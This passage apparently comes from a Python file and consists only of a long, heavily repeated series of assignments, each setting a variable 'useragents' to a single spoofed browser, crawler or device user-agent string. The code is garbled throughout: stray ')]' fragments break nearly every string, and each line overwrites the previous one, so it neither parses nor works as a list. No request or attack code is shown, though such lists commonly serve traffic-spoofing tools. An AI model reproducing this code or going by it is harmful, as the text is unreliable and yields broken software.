Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html)] Gecko/2008032620')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)] AddSugarSpiderBot www.idealobserver.com')] useragents = [('User-agent','Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; Arachmo)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)]')] useragents = [('User-agent','BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)]')] useragents = [('User-agent','Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable)] AppleWebKit/420+ (KHTML, like Gecko)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)] ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)] AppleWebKit/419 (KHTML, like Gecko, Safari/419.3)] Cheshire/1.0.ALPHA')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.2 (KHTML, like Gecko)] ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US)] AppleWebKit/534.10 (KHTML, like Gecko)] Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')] useragents = [('User-agent','Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3)] AppleWebKit/537.75.14 (KHTML, like Gecko)] Version/7.0.3 Safari/7046A194A')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 3.55)]')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 2.00)]')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 1.00)]')] useragents = [('User-agent','Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0)] Gecko/20100101 Thunderbird/24.4.0')] useragents = [('User-agent','Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)]')] useragents = [('User-agent','SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)]')] useragents = [('User-agent','iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)]')] useragents = [('User-agent','iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3)] Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3)] Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729)] (Prevx 3.0.5)] ')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8)] Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1)] Gecko/20060111 Firefox/1.5.0.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none)])]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en)] Opera 8.51')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1)] Gecko/20060111 Firefox/1.5.0.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp)] AppleWebKit/417.9 (KHTML, like Gecko)] Safari/417.8')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12)] Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Googlebot/2.1 (http://www.googlebot.com/bot.html)]')] useragents = [('User-agent','Opera/9.20 (Windows NT 6.0; U; en)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1)] Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Opera/10.00 (X11; Linux i686; U; en)] Presto/2.2.0')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL)] AppleWebKit/528.16 (KHTML, like Gecko)] Version/4.0 Safari/528.16')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13)] Gecko/20101209 Firefox/3.6.13')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3)] Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8)] Gecko/20100804 Gentoo Firefox/3.6.8')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7)] Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')] useragents = [('User-agent','Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; 